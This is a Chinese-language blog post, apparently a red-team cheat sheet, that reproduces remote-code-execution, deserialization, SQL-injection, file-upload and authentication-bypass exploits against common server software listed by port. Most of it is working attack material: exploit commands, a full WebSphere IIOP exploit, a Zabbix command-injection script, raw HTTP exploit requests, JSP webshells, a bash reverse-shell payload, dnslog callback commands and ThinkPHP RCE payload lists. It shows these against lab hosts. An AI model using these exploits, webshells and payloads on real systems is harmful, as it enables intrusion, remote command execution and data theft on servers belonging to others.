0x01 前言
本文是接着上一篇【HVV2022】攻防演练重点端口漏洞全复现(一)写的,本系列不会对漏洞进行深度分析,而是为了快速POC找到漏洞,更好的划水,全文近万字,建议收藏。
0x02 反序列化篇
61616/8161端口
CVE-2015-5254(ActiveMQ)
ActiveMQ是JAVA的消息中间件,会开放两个端口,一个是工作端口(61616),消息通过这个端口传递,另一个是WEB管理页面的端口(8161)
影响版本
Apache ActiveMQ 5.x-5.13.0
资产表
123.58.224.8 Linux靶机
映射端口:32529:61616 (该exp利用工作端口)
32530:8161
下载工具jmet
https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
然后直接exp,测试curl dnslog,看看能否命令执行成功
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "curl 7n0xxe.dnslog.cn" -Yp ROME 123.58.224.8 32529
可以看到成功返回结果了,说明存在命令执行
7001/7002端口
CVE-2021-2394(weblogic)
影响范围 :
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
如果想批量测试cve-2021以下的weblogic反序列化漏洞,我推荐这个工具:
https://github.com/shack2/javaserializetools/releases/tag/1.0.20190828
PS:我用GOBY没有扫出相关漏洞,以后记得用多款漏扫工具多试试。如果工具没有探测出来,怎么确认漏洞?直接域名后门加/console,打开后台,就会显示版本号。
POC工具下载:
https://github.com/Zard-ethan/JNDI-Injection-Exploit-1.0-SNAPSHOT-all
https://github.com/lz2y/CVE-2021-2394/releases/tag/2.0
启动一个LDAP服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl xxx.dnslog.cn" -A 192.168.206.140
#-C [执行的命令] -A [开启ldap服务的ip]
直接EXP
用法:
java -jar CVE_2021_2394.jar rhost rport ldapurl
示例:
java -jar CVE_2021_2394.jar 192.168.137.1 7001 ldap://192.168.137.1:8087/Exploit
dnslog能收到数据,表示利用成功
9090端口
CVE-2020-4450(WebSphere)
此漏洞是由IIOP协议上的反序列化造成,所以我们本地需要起一个IIOP客户端来向WebSphere发送请求从而触发漏洞。
构造恶意的反序列化数据,通过iiop发送到WebSphere服务器,当目标服务器解析反序列化数据,会触发恶意代码执行
影响范围
WebSphere Application Server 9.0.0.0 - 9.0.5.4
WebSphere Application Server 8.5.0.0 - 8.5.5.17
POC如下:
public class Test {public static void main(String[] args) throws Exception {Properties env = new Properties();env.put(Context.PROVIDER_URL, "iiop://169.254.0.117:2809");env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");InitialContext context = new InitialContext(env);context.list("");Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");f_defaultInitCtx.setAccessible(true);WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");f_context.setAccessible(true);CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");f_corbaNC.setAccessible(true);_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");f__delegate.setAccessible(true);ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");f_ior.setAccessible(true);IOR ior = (IOR) f_ior.get(clientDelegate);Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");f_orb.setAccessible(true);ORB orb = (ORB) f_orb.get(clientDelegate);GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, com.ibm.rmi.Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class);getConnection.setAccessible(true);Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "beijixiong404");Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);setConnectionContexts.setAccessible(true);ArrayList v4 = new ArrayList();WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");fieldEjbObject.setAccessible(true);fieldEjbObject.set(wsifPort_ejb,new EJSWrapperS());CDROutputStream outputStream = ORB.createCDROutputStream();outputStream.putEndian();Any any = orb.create_any();any.insert_Value(wsifPort_ejb);PropagationContext propagationContext = new PropagationContext(0,new TransIdentity(null,null, new otid_t(0,0,new byte[0])),new TransIdentity[0],any);PropagationContextHelper.write(outputStream,propagationContext);byte[] result = outputStream.toByteArray();ServiceContext serviceContext = new ServiceContext(0, result);v4.add(serviceContext);setConnectionContexts.invoke(connection, v4);context.list("");}}class EJSWrapperS extends EJSWrapper {@Overridepublic Handle getHandle() throws RemoteException {Handle var2 = null;try {SessionHome sessionHome = new SessionHome();J2EEName j2EEName = new J2EENameImpl("aa", "aa", "aa");Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");j2eeName.setAccessible(true);j2eeName.set(sessionHome, j2EEName);Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");jndiName.setAccessible(true);jndiName.set(sessionHome, "rmi://169.254.0.117:1099/poc");Serializable key = ""a".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")";BeanId beanId = new BeanId(sessionHome, key, true);BeanMetaData beanMetaData = new BeanMetaData(1);beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;Properties initProperties = new Properties();initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);c.setAccessible(true);var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);} catch (Exception e) {e.printStackTrace();}return var2;}}
#rmi server
public class RmiServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1097); Reference ref = new Reference(WSIFServiceObjectFactory.class.getName(), null, null); ref.add(new StringRefAddr("wsdlLoc", "http://192.168.211.1:9999/poc.wsdl")); ref.add(new StringRefAddr("serviceNS", null)); ref.add(new StringRefAddr("serviceName", null)); ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/")); ref.add(new StringRefAddr("portTypeName", "Gadget")); ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("poc", referenceWrapper); } }
#wsdl文件
<?xml version="1.0" ?> <definitions targetNamespace="http://wsifservice.addressbook/" xmlns:tns="http://wsifservice.addressbook/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/" xmlns:java="http://schemas.xmlsoap.org/wsdl/java/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <!-- type defs --> <!-- message declns --> <message name="findByPrimaryKeyRequest"> <part name="el" type="xsd:string"/> </message> <message name="findByPrimaryKeyResponse"> <part name="counterObject" type="xsd:object"/> </message> <!-- port type declns --> <portType name="Gadget"> <operation name="findByPrimaryKey"> <input message="findByPrimaryKeyRequest"/> <output message="findByPrimaryKeyResponse"/> </operation> </portType> <!-- binding declns --> <binding name="JavaBinding" type="tns:Gadget"> <java:binding/> <format:typeMapping encoding="Java" style="Java"> <format:typeMap typeName="xsd:string" formatType="java.lang.String"/> <format:typeMap typeName="xsd:object" formatType="java.lang.Object"/> </format:typeMapping> <operation name="findByPrimaryKey"> <java:operation methodName="eval" parameterOrder="el" methodType="instance" returnPart="counterObject" /> </operation> </binding> <!-- service decln --> <service name="GadgetService"> <port name="JavaPort" binding="tns:JavaBinding"> <java:address className="javax.el.ELProcessor"/> </port> </service> </definitions>
8000端口
CVE-2017-12149(JBOSS)
漏洞出现的原因是JBOSS因为/invoker/readonly的过滤器没有写好
需要用到的工具:
https://github.com/frohoff/ysoserial
先生成利用链
java -jar ysoserial.jar CommonsCollections6 "curl 7gtumj.dnslog.cn" > poc.ser
然后直接exp
curl http://192.168.206.209:30502/invoker/readonly --data-binary @poc.ser
可以看到dnslog传来数据,说明利用成功
0x03 远程代码/命令执行篇
3389端口
CVE-2019-0708(RDP)
影响版本
Windows 7、Windows Server 2008 R2、
Windows Server 2008、Windows 2003、Windows XP。
这个msf有exp,就不多说了
search 0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
139端口
CVE-2017-7494(samba)
影响版本
Samba 3.5.0-4.6.4/4.5.10/4.4.14
可以用Kali自带的msf直接利用
search CVE-2017-7494
use exploit/linux/samba/is_known_pipename
set rhost 192.168.206.209
set rport 对方samba的端口
run
直接反弹shell,执行命令成功
8069/10050端口
CVE-2020-11800(Zabbix)
影响版本
Zabbix 3.0.x~3.0.30
尝试常见的弱口令
("admin","zabbix"),("Admin","zabbix"),("guest","")
进去后,选择Configuration->Actions,然后把Event Source改为Auto Registration,点击Create action,创建一个名字随意的action,然后选择Operations,Operation type为Add Host,最后点击上面的Add,再点击下面的Add进行添加
上面是开启了Zabbix的自动注册功能,然后使用下面的POC进行验证,测试dnslog能否收到数据,看看是否存在命令执行
(10051是端口,有些不是默认的,记得修改,脚本用python3运行)
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;curl 4t9qmy.dnslog.cn"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
9200/9300端口
CVE-2015-1427(ElasticSearch)
影响版本
elasticsearch
v1.4: 1.4.2 , 1.4.1 , 1.4.0 , 1.4.0.Beta1
v1.3: 1.3.7 , 1.3.6 , 1.3.5 , 1.3.4 , 1.3.3 , 1.3.2 , 1.3.1 , 1.3.0.
访问首页,显示JSON内容,可以看到版本号,就知道是存在漏洞的版本
用burpsuite发送如下数据包
POST /website/blog/ HTTP/1.1
Host: 192.168.206.209:26668
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 30
{
"name": "guiltyfet"
}
再发个exp数据包,返回命令执行回显
POST /_search?pretty HTTP/1.1
Host: 192.168.206.209:26668
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 490
{
"size":1,
"script_fields": {
"test#": {
"script":
"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getInputStream())).readLines()",
"lang": "groovy"
}
}
}
3128/3312端口
CVE-2019-12526(squid)
用nmap扫描可以出squid的版本,直接可确认是否为漏洞版本
影响版本
Squid 3.x ≤ Squid ≤ Squid 3.5.28 Squid 4.x ≤ Squid ≤ Squid 4.8
squid的exp我在exploit-db和github都没找到,但是可以讲讲squid基本渗透流程
msf搜索利用
search squid
直接在Kali下用searchsploit命令搜索exp,然后修改exp脚本,一个个试
searchsploit squid
因为squid是代理服务器,所以我们接下来需要通过msf的扫描器,找到其代理的页面,设置完参数后,直接run命令运行
use auxiliary/scanner/http/squid_pivot_scanning
由于搭靶场太繁琐,我直接引用CSDN博主[江左盟宗主]的图片
扫描发现,开启了80端口
要打开被代理的页面,需要设置浏览器代理地址为目标主机和squid的端口
设置完游览器代理后,即可打开页面
50000端口
SAP
EXP如下,直接命令执行
http://www.xx.com/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=要执行的命令
9000端口
cve_2019_11043(FastCGI)
利用条件:nginx配置了fastcgi_split_path_info
PHP 5.6-7.x,Nginx>=0.7.31
需要用到以下工具
https://github.com/neex/phuip-fpizdam
下载完后,在该目录执行以下命令,进行编译
go buil
如果Kali编译连不上github,可以用以下命令解决
go env -w GOPROXY=https://goproxy.cn
然后直接利用
./phuip-fpizdam http://123.58.224.8:37411/index.php
再打开网页,网址后加参数?a=要执行的命令,发现成功
5632端口
cve-2011-3478(pcanywhere)
Kali下直接搜索exp,是有的,搭环境麻烦,不复现了
searchsploit pcanywhere
0x04 注入篇
8096/10050端口
CVE-2016-10134(zabbix)
影响版本
zabbix 2.2.x, 3.0.0-3.0.3
有两个页面有sql注入,一个是jsrpc.php,一个是latest.php,他们之间的区别在于,前者不需要任何权限就可以执行,但是后者需要(例如有些zabbix开放了guest)
Payload1:
/latest.php?output.php=ajax&sid=************&favobj=toggle&toggle_open_state=1&toggle_ids=updatexml(0,concat(0xa,database()),0)
登录作为guest后,打开游览器的开发者模式,复制zbx_sessionid的后十六位,粘贴到上面payload的sid参数处
以下payload是直接可以利用的
Payload2:
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=
updatexml(0,concat(0xa,database()),0)
&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1
可以看到,成功有回显
0x05 文件读写篇
61616/8161端口
CVE-2016-3088(ActiveMQ)
影响版本
Apache ActiveMQ 5.x ~ 5.14.0
用burpsuite直接PUT上传一个webshell
PUT /fileserver/hacker.jsp HTTP/1.1
Host: 123.58.224.8:15304
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=py29tsjnhhlt1juy5okd0tlgh
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 327
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
返回204就是执行成功,访问该文件,发现没有被解析(这个洞有点鸡肋,访问文件还需要身份验证,要暴力破解账密才能访问,账密一般都是admin)
我们这时需要知道,有解析jsp文件权限的目录,访问如下网址可以看到
http://123.58.224.8:15304/admin/test/systemProperties.jsp
在burpsuite里放一个包,move移动webshell
MOVE /fileserver/hacker.jsp HTTP/1.1
Destination: file:///opt/activemq/webapps/admin/1.jsp
Host: 123.58.224.8:15304
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=py29tsjnhhlt1juy5okd0tlgh
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 327
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
返回204,说明成功
直接访问如下页面,命令执行,说明上传webshell成功
http://123.58.224.8:21773/admin/1.jsp?cmd=id
8080端口
cve_2017_12615(tomcat)
影响版本
Apache Tomcat 7.0.0 – 7.0.79
打开tomcat页面,同时抓包,把GET改为PUT,然后上传地址改为一个jsp文件,内容为一句话木马,如下
PUT /1.jsp/ HTTP/1.1
Host: 123.58.224.8:58368
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 57
<%Runtime.getRuntime().exec(request.getParameter("wislab"));%>
上传地址之所以是1.jsp/,是因为直接上传jsp,tomcat会过滤掉,所以我们要进行绕过,有以下几个办法
#Windows不允许文件空格结尾,会自动去除
PUT /a001.jsp%20
#Linux不允许文件名包含/,会自动去除
PUT /a001.jsp/
#利用Windows NTFS流绕过
PUT /a001.jsp::$DATA
直接访问webshell,发现其并不会回显,所以我们可以借助dnslog,查看是否命令执行成功
tomcat除了有PUT上传漏洞,还有幽灵猫漏洞
8009端口
CVE-2020-1938(tomcat-AJP)
影响版本
Tomcat 9.x < 9.0.31
Tomcat 8.x < 8.5.51
Tomcat 7.x < 7.0.100
Tomcat 6.x
需要使用到以下工具
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
直接exp
#端口不一定为8009,可能被修改;-f后面接你要读取的文件路径
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 123.58.224.8 -p 8009 -f WEB-INF/web.xml
0x06 未授权访问/认证绕过篇
未授权访问,推荐[信安之路]写的,已经总结的很全了,就不重复造轮子了
https://mp.weixin.qq.com/s/LsKpM3h4YXs8mUwCGL1xfA
以下讲的都是权限绕过的
5900端口
CVE-2006-2369(VNC)
msf里面有exp,不多讲了
use auxiliary/admin/vnc/realvnc_41_bypass
4848端口
CVE-2011-1511(GlassFish)
POC如下:
#!/usr/bin/env python
import sys
import httplib
def make_trace_request(host, port, selector):
print '[*] TRACE request: %s' % selector
headers = { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1; Trident/4.0)',
'Host': '%s:%s' % (host, port),
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-us,en;q=0.5',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Accept-Encoding': 'gzip,deflate',
'Connection': 'close',
'Referer': 'http://%s:%s%s' % (host, port, selector)}
conn = httplib.HTTPConnection(host, port)
conn.request('TRACE', selector, headers=headers)
response = conn.getresponse()
conn.close()
print response.status, response.reason
print response.getheaders()
print response.read()
if len(sys.argv) != 3:
print "Usage: $ python poc.py <GlassFish_IP>
<GlassFish_Administration_Port>nE.g: $ python poc.py 192.168.0.1 4848"
sys.exit(0)
host = sys.argv[1]
port = int(sys.argv[2])
make_trace_request(host, port, '/common/logViewer/logViewer.jsf')
0x07 shiro RCE专题
-
1. CVE-2016-4437
-
影响版本
Apache Shiro <= 1.2.4
打开靶场首页,输入任意凭证(错误的也行),然后burpsuite抓个包,放到Reapter模块看看
可以看到返回包的Set-Cookie中,存在rememberMe字段,它的值是deleteMe,是因为该凭证出错,没有登录成功,如果是正确的凭证,是没有该值的,但是无论如何,rememberMe是一定存在的,这是shiro框架的特征
既然我们已经知道了这是shiro框架,那么怎么知道存在什么漏洞呢?我一般都是用网上的POC一把梭,这里我推荐【shiro反序列化漏洞综合利用工具】
https://github.com/j1anFen/shiro_attack/releases
首先要去爆破密钥,至于为什么请看下文的漏洞原理,出密钥后,再选择爆破利用链及回显
可以看到,已经可以成功执行命令了
-
2. CVE-2020-1957
-
影响版本
shiro<=1.5.2
打开靶场首页,找到登录界面,像上面一样抓包,不过这里有区别,就是需要登录成功,获得有效会话,生成rememberMe的值
复制这里rememberMe的值,等会儿要用到。不过在攻击开始之前,我们需要了解shiro550和shiro721的概念和区别,否则只会用工具,就是脚本小子了。
CVE-2020-1957俗称shiro721,而刚才的CVE-2016-4437俗称shiro550,它们的区别是shiro721加密采用的是AES-128-CBC,shiro550加密采用的是AES-128,多了个CBC模式,攻击方式也有些许差异
CBC模式:分组链接模式,目的是使原本独立的分组密码,在加密过程中形成迭代,每一次加密结果都影响下一次加密,导致密钥碰撞时间变得更久
CBC模式不仅仅运用在AES,其他加密算法如DES也有,但只要是CBC模式加密,就可以用Padding Oracle(填充提示攻击)方式进行攻击
Padding Oracle:其中,Padding指的是填充,Oracle指的是提示,顾名思义,就是根据不同的填充FUZZ返回的结果,即解密的类库是否抛出异常提示,来判断密钥是否正确,攻击者可以不断FUZZ密文,让解密程序给出提示来不断修正,最终得到正确的结果【一句话来说就是,通过验证解密时产生的明文,是否符合Padding填充原则,来判断解密是否成功】
如果你还是不理解填充提示攻击,那么就去了解旁路攻击的概念,旁路攻击指的是,绕过对加密算法的复杂分析,而通过运算过程中泄露的信息(如抛出异常)来破解密码
CBC模式和Padding Oracle模式是shiro721漏洞产生的条件,可以利用密码算法进行旁路攻击来破解密钥(但不是对加密算法本身进行破解),因此其攻击方式相对会复杂一点
-
使用JAVA反序列化工具ysoserical工具生成payload
https://github.com/frohoff/ysoserial
java -jar ysoserial.jar CommonsCollections1 'bash -i >& /dev/tcp/ip/port 0>&1' > payload.class
生成反弹shell的payload
-
通过padding oracle attack poc生成rememberMe Cookie,进行密钥爆破
https://github.com/wuppp/shiro_rce_exp
python2 shiro_rce_exp.py http://网址/account/ rememberMe的值 payload.class
在成功之后,会返回一段cookie值,放到cookie里进行Reapter就好
漏洞原理:
Shiro RCE主要是因为反序列化漏洞导致的,Shiro在序列化用户身份对象后,对数据采用AES加密,其中密钥为常量,导致只要碰撞出正确的密钥,就可以篡改序列化的数据,改为命令执行的payload
序列化过程:
登录时->序列化用户身份对象(这一步可插入payload)->进行AES加密,密钥为常量(这里导致了反序列化漏洞的发生)->Base64加密->将数据设置到Cookie中的RememberMe字段
Shiro反序列化主要分为shiro550(CVE-2016-4437)和shiro721(CVE-2020-1957)
区别在于:
-
漏洞利用时,721需要有效会话cookie,但550不需要(即不需要登录成功)
-
它们虽然都是AES加密,但是721多了个CBC模式,意味着密钥的碰撞需要更长时间
Shiro框架特征:
-
1. 返回包的Set-Cookie中存在rememberMe字段
-
2. URL位置可能有shiro字符串
0x08 ThinkPHP RCE专题
影响版本
ThinkPHP 5.0.x ~ 5.0.23
ThinkPHP 5.1.x ~ 5.1.31
ThinkPHP 5.2.0beta1
5.1.x payload
?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content= phpinfo();
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content= phpinfo();
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x payload
?s=index/thinkconfig/get&name=database.username // 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg // 包含任意文件
?s=index/thinkConfig/load&file=../../t.php // 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
如果上面的不给力,下面的一个个试就完了
http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
0x09 Struts2 RCE专题
推荐个Struct2批量检测工具,直接收工,兄弟们,拿出枕头,睡就完事了
https://github.com/shack2/Struts2VulsTools/releases/tag/2.3.20190927
看到文末,我想给大家推荐点点师傅的RCE宝典
不得不说,tql!!!
https://mp.weixin.qq.com/s/gtArMfC2Xq9IEpwvu8Sszg
欢迎关注我的公众号:韬光养晦安全
红蓝对抗日常分享,带给你国际安全视野
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论